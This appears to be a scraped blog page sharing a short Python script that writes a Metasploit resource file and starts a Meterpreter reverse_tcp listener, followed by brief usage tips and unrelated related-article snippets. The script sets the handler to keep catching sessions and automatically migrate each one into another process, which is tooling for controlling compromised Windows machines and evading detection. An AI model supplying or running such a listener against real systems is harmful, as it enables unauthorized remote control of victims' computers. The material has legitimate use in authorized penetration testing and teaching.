Quickly Start Listener scripts

#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py
import sys
import subprocess
#write a resource file and call it
def build(lhost,lport):
    options = "use exploit/multi/handler\n"
    options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
    options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
    filewrite = file("listener.rc", "w")
    filewrite.write(options)
    filewrite.close()
    subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait()

#grab args
try:
    lhost = sys.argv[1]
    lport = sys.argv[2]
    build(lhost,lport)

#index error
except IndexError:
    print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

时间: 2024-11-13 09:54:31

Quickly Start Listener scripts的相关文章

Windows API Hooking in Python

catalogue 0. 相关基础知识 1. Deviare API Hook Overview 2. 使用ctypes调用Windows API 3. pydbg 4. winappdbg 5. dll injection 6. process monitor with WMI 7. sobek-hids 0.  相关基础知识 0x1: Python 程序和 C 程序的整合 为了节省软件开发成本,软件开发人员希望能够缩短的软件的开发时间,希望能够在短时间内开发出稳定的产品.Python 功能强

修改Oracle XE Listener 占用的1521、8080端口

修改Oracle XE Listener 占用的1521.8080端口今天在帮开发人员Demon安装oracleXE时,有这么一段提示: [sql] Destination Folder: D:\oraclexe\ Port for 'Oracle Database Listener': 1521 Port for 'Oracle Services for Microsoft Transaction Server': 2030 Port for HTTP Listener: 8080 可以看出,

web.xml 中的listener、filter、servlet加载及一些配置

在项目中总会遇到一些关于加载的优先级问题,近期也同样遇到过类似的,所以自己查找资料总结了下,下面有些是转载其他人的,毕竟人家写的不错,自己也就不重复造轮子了,只是略加点了自己的修饰. 首先可以肯定的是,加载顺序与它们在 web.xml 文件中的先后顺序无关.即不会因为 filter 写在 listener 的前面而会先加载 filter.最终得出的结论是:listener -> filter -> servlet 同时还存在着这样一种配置节:context-param,它用于向 Servlet

javaweb学习总结(四十五)——监听器(Listener)学习二

一.监听域对象中属性的变更的监听器 域对象中属性的变更的事件监听器就是用来监听 ServletContext, HttpSession, HttpServletRequest 这三个对象中的属性变更信息事件的监听器. 这三个监听器接口分别是ServletContextAttributeListener, HttpSessionAttributeListener 和ServletRequestAttributeListener,这三个接口中都定义了三个方法来处理被监听对象中的属性的增加,删除和替换

Nancy Scripts,CSS文件夹配置

public class Bootstrapper : DefaultNancyBootstrapper { protected override void ConfigureConventions(NancyConventions nancyConventions) { base.ConfigureConventions(nancyConventions); nancyConventions.StaticContentsConventions.Clear(); nancyConventions

Linux学习-10-学习shell scripts

[[email protected] ~]# mkdir scripts; cd scripts [[email protected] scripts]# vi sh01.sh #!/bin/bash                宣告shell名称 # Program:                 程序内容说明 # This program shows "Hello World!" in your screen. # History: # 2005/08/23 VBird Fir

oracle配置多网络接口多端口 listener

环境:oracle 11.2.0.4 两个数据库实例:orcl test 主机名解析:192.168.1.30 orcl.lineqi.com orcl [[email protected]]$ ifconfig eth0      Link encap:Ethernet  HWaddr 00:0C:29:40:07:9A inetaddr:192.168.1.30  Bcast:192.168.1.255  Mask:255.255.255.0 inet6 addr:fe80::20c:29f

saltstack "ImportError: No module named salt.scripts"错误解决

一.问题描述 生产线上使用的自动化管理工具是saltstack,CentOS6.8 x64,python 2.6.6 ,正所谓不作不死,由于有些功能需要python2.7.x ,在升级好python2.7后,写了saltstack api 发现python2.7不好使,原理是python2.7下没有salt模块,因此pip install salt 即在python2.7下安装成功了salt模块,但是发现重启salt-master时报错.如下图: 生产线啊,这可不行,赶紧恢复吧.pip unin

JavaWeb(六)Listener监听器

监听器 监听器就是一个实现特定接口的普通java程序,这个程序专门用于监听另一个java对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即被执行. Servlet监听器 在Servlet规范中定义了多种类型的监听器,它们用于监听的事件源分别为 ServletContext, HttpSession 和 ServletRequest 这三个域对象. Servlet规范针对这三个对象上的操作,又把这多种类型的监听器划分为三种类型. 监听三个域对象创建和销毁的事件监听器 监听域